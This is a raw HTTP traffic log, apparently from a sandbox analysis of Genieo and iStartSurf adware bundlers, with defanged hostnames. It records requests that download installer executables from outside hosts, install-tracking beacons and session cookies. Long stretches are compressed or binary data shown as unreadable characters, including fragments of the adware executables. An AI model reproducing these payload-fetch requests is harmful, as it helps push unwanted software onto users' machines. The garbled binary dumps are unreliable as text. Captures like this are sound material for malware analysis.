P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/business

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 2508

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.22.24S..qV02.....
q...$..>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:23:16 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/rss/business..Vary: Accept-Encoding..Content-Encodin
g: gzip..Content-Length: 81..Content-Type: text/html; charset=UTF-8..A
ge: 2508..Connection: keep-alive..Server: ATS..............Q..U(.J6../
(..,2..L....K..Up .T.M.T04U02.22.24S..qV02.....q...$..>.....
..

GET /rss/business HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:23:16 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/business

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 2509

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.22.24S..qV02.....
q...$..>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:23:16 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/rss/business..Vary: Accept-Encoding..Content-Encodin
g: gzip..Content-Length: 81..Content-Type: text/html; charset=UTF-8..A
ge: 2509..Connection: keep-alive..Server: ATS..............Q..U(.J6../
(..,2..L....K..Up .T.M.T04U02.22.24S..qV02.....q...$..>.....
..

GET /rss/us HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:41:34 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/us

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 1418

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.21.26Q..qV02.....
q.....(>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:41:34 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/rss/us..Vary: Accept-Encoding..Content-Encoding: gzi
p..Content-Length: 81..Content-Type: text/html; charset=UTF-8..Age: 14
18..Connection: keep-alive..Server: ATS..............Q..U(.J6../(..,2.
.L....K..Up .T.M.T04U02.21.26Q..qV02.....q.....(>.......

GET /rss/us HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:41:34 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/us

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 1418

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.21.26Q..qV02.....
q.....(>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:41:34 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/rss/us..Vary: Accept-Encoding..Content-Encoding: gzi
p..Content-Length: 81..Content-Type: text/html; charset=UTF-8..Age: 14
18..Connection: keep-alive..Server: ATS..............Q..U(.J6../(..,2.
.L....K..Up .T.M.T04U02.21.26Q..qV02.....q.....(>.......

GET /rss/topstories HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:58:16 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/topstories

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 417

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.2..24S..qV02.....
q....0(>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:58:16 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/rss/topstories..Vary: Accept-Encoding..Content-Encod
ing: gzip..Content-Length: 81..Content-Type: text/html; charset=UTF-8.
.Age: 417..Connection: keep-alive..Server: ATS..............Q..U(.J6..
/(..,2..L....K..Up .T.M.T04U02.2..24S..qV02.....q....0(>.....

GET /news/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: Apache

X-Cache-Action: HIT

X-Cache-Hits: 327

Vary: Accept-Encoding

Cache-Control: public, max-age=3600

X-Cache-Age: 3117

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:02:59 GMT

Location: /news

X-PAL-Host: pal065.back.live.cwwtf.local:80

Content-Length: 20

Connection: Keep-Alive

........................

GET /news HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Cache-Control: max-age=60, stale-while-revalidate

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

X-News-Data-Centre: cwwtf

Content-Language: en-GB

X-PAL-Host: pal021.back.live.cwwtf.local:80

X-News-Cache-Id: 3851

Content-Length: 30791

Date: Fri, 15 May 2015 23:04:56 GMT

Connection: keep-alive

X-Cache-Action: HIT

X-Cache-Hits: 3

X-Cache-Age: 46

X-LB-NoCache: true

Vary: X-CDN,Accept-Encoding
.............v.8.8..=Y......Im}.....8Nwf.uc.....Z..K.).!);n.k..8k.....
{.[U.I.K.e9..x.#...(.PU(....>{.w....l..........5.h....Tc.....sl.3.x
........._:.=......h.C.>......p.>`;[email protected]
...j.wk{...}.gr..m....{....!..G.=..V..7|....i...>.c....."Y.....6.^.
5...-.._.g.aavb.l..|...xmlX..3D..z..O.k(_.....L........p....y.....G@..
..........`......7.c....i..i.u.>.|.........>....5=.A.....5.'h..3
,.A.....>.2..G.m......b.#......./..=.|.B.......K.q.:...`.<..g..{
{..}.......)%L.:......-.2..46.b.h.......^.......Q..#.O...s..}...4>.
..!......2.R..K.!....&.Q....)...:.....Z..........M4o.t.vc.)^..".B.V.q.
..7.....1..>.G.{.....vKlD........;w.4..0.......f.f..l.R.&t[.....d.b
R....;..I..R..Mq....a....;P*.&...^tM....hV.u.......7t..h.f..5C.K..n...
.N......A.a....mQ..Q....*.U ....z.L..... .....`....!j..........m....?.
c.n.C-.W...8?...{o...o*[email protected];..ix#.B...$....;.-.o.K...D2..
..!..Ilzk..... ...%If.f.y.0.7....M.4......d....=....$.L2LE....=..j....
..4*..80z...{.mu.....%c....H......[...zs..j... ....9......^D......j.|.
...7J.ZT.V.....U....kIP.d..<.1]j....a.....f6......W..p..Q.....t.{.4
Ui....f...].....f|....XU.....=....Y...=...l...y........x..@.$...a.....
W..._...O...R..3.e]........)C?.g.. W*.!...1<F|P.....'..t.r%!/..V..3
c..M}.qww....u.?*7^....:j..G.f..,........................:.M|...V.<
..U.S`. .06.....sP.\.&j8..{m.xY......I`........~h.1E.. .........i.....
P....-khv.*.....&.H....U.,...1....T..Q......z..*3,...\.p..i..H...MLX..
....X.u.....u._.m.H.k5...A.qq...n..ZmgV....?...l.p...."=.h.0Y.....<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=83916-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 587412

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 83916-671327/671328
..U...B...<..........wH...@.............................:.uF.......
t1.......B.............:A.u#.....................u....................
.......................t...<....U..D...E.......M..M...Q...D.....D..
............:.....D..............;.....D..............K....E.....E....
:.....t{.U..U.....M..M...Q.......M..M...Q.......M..M...Q........4....E
.....E...4...Q.)...................U......... ...........$......;.....
t{.E..E.....U..U...B.......U..U...B.......U..U...B........0....M.....M
...0...R.....................E............................K.....t{.M..
M.....E..E...H.......E..E...H.......E..E...H........,....U.....U...,..
.P.....................M............................#....}..t..M......
.......R..!....................u..........M...8...3._^.M.3........]...
........U.... ....T.H.3..E..}[email protected].
......M..M..U..................t6.........../t............\u........E.
..................U........E.;E.tR.M. M.....Q.U.R......P..H......M. M.
..3.f..M..........P.M.Q.......................3.f.......}..t..M.Q.....
.R.........E.P......Q..............R..@pG....u.j.......P...pG..M.3..a.
....].....U.........T.H.3..E.VW..|....}..t..}..t..}..t............}...
.S.....|....M.;H.........|....z..t...|.....Q..........|....B.......|..
....U.;Q.|.......>.....|......U.;Q.}...|.....Q.K........|......H.;M
.}...|.....P............|.....<...R..|.....Q..........|....E..B....
...Q.U.R.E.P..|.....R.........................|.....Q..........|....B.
.............t.3..q..........~.......^..........u.......K.........<<< skipped >>>

GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:01:31 GMT

Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT

Expires: Fri, 15 May 2015 23:11:31 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: Miss from cloudfront

Via: 1.1 2789f57a191cda188474bba6a2541f3a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6A8oUhHW848HCHWAz95dxh41C-LHuSI_ULoA4AIgnvUmXkigTWWXJg==
fbd.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~.
.d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>.............
.y...U1X...d5.....q.r..._..o........;..w....g............j............
..a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~..
..7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..o
...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I..
...].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&l
t;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|x
.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..k
.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw....
.U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{.........
...0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z....
v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C...
-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.c
.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G.
3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|.
[email protected]..@.$.H..zP/#..9R....B..X.4
t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e.
X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8.....
D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u.
b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%.
.....4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<Nl<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.14770431837924597 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:19 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:02:19 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.6873948403881654 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:02:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?ba0434e570a9933a HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Feb 2015 00:37:01 GMT

If-None-Match: "80b4d90ca4fd01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Tue, 24 Feb 2015 00:37:01 GMT

ETag: "80b4d90ca4fd01:0"

Cache-Control: max-age=604800

Date: Fri, 15 May 2015 23:06:08 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Feb 2015 00:37:01 GMT..ETag: "80b4d90ca4fd01:0"..C
ache-Control: max-age=604800..Date: Fri, 15 May 2015 23:06:08 GMT..Con
nection: keep-alive..

GET /13203.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGKwCI49GtT1NdRCa5jj7dUzI0IkF1yg1LMTNAagX5zbhCn64 sLiuL8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfeIiLexbHBMiJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2s9O CwlJrmA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /?gfe_rd=cr&ei=jntWVd-OJ4jDNOXJgKAL HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.google.com.ua

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:46 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=a8727914f1e00f0d:FF=0:TM=1431731086:LM=1431731086:S=0P0T9J72ZkhwjuIm; expires=Sun, 14-May-2017 23:04:46 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=p5PLeI_M5GxY1_JjMBP8cIhYUtBuB5Bslgep990wux-m2Yv_7bK2gjEt936ZpfnWs0fuzkOGThUPAgPRFaZLF6fe9lNBOiGAgct8GFB67z5kpC0fT4DWT9BdNdih6w7X; expires=Sat, 14-Nov-2015 23:04:46 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Content-Encoding: gzip

Server: gws

Content-Length: 17403

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=1
............i..H.(.]."....VzF0.<"D%t...}K%);.<..L2.I2......f.x..
><.....v...o..]35}._H..g..$..F.......,..~...........56.....c..y.
. nl..9.l]Q..f..a...F#2..O...i........GG..L............9...(....C.....
.g.....i...z=.9..A8.t.e.Zb7....Y....v#2C7.o.......QM...#k|T..........Q
...1..x}.sr..8.<..v......!...i..U...k..ux.:....f....N..otWY..z.....
m.....M..j.....j...v......5|.....n..Pp.=."....wZk,..n..N...]g.....{n..
...V.s.?..}...F.....*Y...7:.l.:k..].O..=7....j...x..:O.l........<..
..Mm.'5...uB'.p..aO#.........Fs}..6...>............L..}y\E...?.$.=W
...c.[.zZ....8....b.i.Z[...V...1.....j....).k)...U.I...W..-....$.U....
vnm../?^.i}4.........Gq.E.....M..............)..c/.....it...|...}T.Kc[
....<55-...... 6..O.".,[email protected].? J...Gv..C.C..Z,@.q..
..l...X}tvf}....;.-...JS..zd.........[..}][email protected].\.
E..Ao.I...JH.Y.......4....O........ .....VM ..tY...me.X6.}x;=.j.......
D...v...U.2....Z:..-.gM..J..d..f.....^s....j.....j..~h{......7).....b.
.{:|/...r3C..=....:.s..#......"w..XjJh....aZ..6u..].-/.H.U.......(2...
.P2rw^mc.1m..;..dj...0~b.8.Q....C{P......5..EE..n.H.ry....!.9.,....U..
.?..BRM...J.T...._....Q$..eA..=r.a....9.T.,f.ix ..P....zk..U...6ELDp=.
I...v...=........|.5b..r.I.JaZZ}....T..d.B .U.C..n.2..\...f6{.JB<..
....<dC..%1t..M'.q.b.....@)...=L.B.....k...wvY.......hnD...7.8...(.
5..q....Wn...HDG..0Sw....3.{m-8.A.S.?.4.G.6.G.h..o...A.Z..j....(.A?..=
M.........~.j.z. .L..,.......r.! .....O...5..p<.Y.8..s~..o.6decc.Zp
.F..zn|....e..6ml....gu.....G.......6...#.......oZ.....&_.DFv..<<<< skipped >>>

GET /?gfe_rd=cr&ei=qHtWVbGGIIjDNOXJgKAL HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.google.com.ua

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: NID=67=p5PLeI_M5GxY1_JjMBP8cIhYUtBuB5Bslgep990wux-m2Yv_7bK2gjEt936ZpfnWs0fuzkOGThUPAgPRFaZLF6fe9lNBOiGAgct8GFB67z5kpC0fT4DWT9BdNdih6w7X; PREF=ID=a8727914f1e00f0d:FF=0:TM=1431731086:LM=1431731086:S=0P0T9J72ZkhwjuIm

Cookie2: $Version=1


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:12 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=a8727914f1e00f0d:U=40d7a8b138540020:FF=0:TM=1431731086:LM=1431731112:S=ZbxPnBo8MyJy7M68; expires=Sun, 14-May-2017 23:05:12 GMT; path=/; domain=.google.com.ua

Content-Encoding: gzip

Server: gws

Content-Length: 17404

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=1
............i..H.(.]."....VzF0.<"D%t..,...$e'.G0.$.L...B.......v...
=........[.l.LM_..R....;I'...R..<`_e)......f.n...V..LNC.6N|..5.....
.f........ .$...Vl.m.6..i...'....G'..L.......k.....L.{..J..![.r......=
r!m...l....#..PWXF.%q...~.....o.b3r..zc4....L.....X.q.W...vv.W..%.^Z.?
..N7N.'.......Ur....$w74...NzZ{.....N."...n....k....:K..l.......>;Z
...}M...._....^W<......n....-.....gW.w7X.^g.........z...]...b..M.}.
.:.n.g..o....&4[.Z'....V...No.?.......V.=.}.={........M..:P.f..6.x..m.
.v{S.J.4.Oc;.h......Us..jo....vu>...<..@.:=.:...u(........4...Z.
v.dgW..Pu6.....j.......Yn$I......q.a....b.....P.....p.Q`...N...f|...sg
w.}...O....]...E..>.S/.%...lJ..E..<...b.&..$0./.....Yt...b...}\.
M.[..?.<.5 ....{b..........%wq....."q..KL.*.."....eh5...EA.c.......
.Dn.e{v.....7...n..Qc......n4c.F....mW...V..2.4F*..eX=...y...`c..F....
........ z..PBJ..UuNu.....6<x:[email protected]..\..J..n ............
.....N..fb...^..cHC.nd...Ax6...d.Mfqd.(q<....*. ....:Z..^.G.W._Y.kz
......"V..........s$:.s.<).S6.O...k..o!rOL.......".fEO.3........TP.
(*J..I.". -...#w...6........N.aZ..O..G1..\.qd.........|.....5.iB!O<
5b .....].y..! ...XH..#UV....U..K..Ts.dA.,...'N2....0g.....1.n$..j^]5X
oM............5.C.......8......]l.F,uU.0IV)LKkh{.].....ch...r.]..y.C. 
....g.XI.g{..._..l.#.".....d:.C......S.0iB....nB.....1..}...bx.%..kqr.
..W...7I..nx..l.'...K=..I...........AW.O......g......P#.<.-..1.TkqH
M{0..#... .hr...kl..m.....g....R...Yc.=.)g...y*....xfP.......$......b.
.!k[[[..#7v..s.....,{..ikks(>8o:F.....j4...O........./.._u,..J.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: kPmhoojgmUMjaY8qdVS0jBZ3aQ9Eb170e0ccVB0VRCH41mNT8kbu3Bb6rDMo2VKa

x-amz-request-id: 577E33F59B47E797

Date: Fri, 15 May 2015 23:02:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
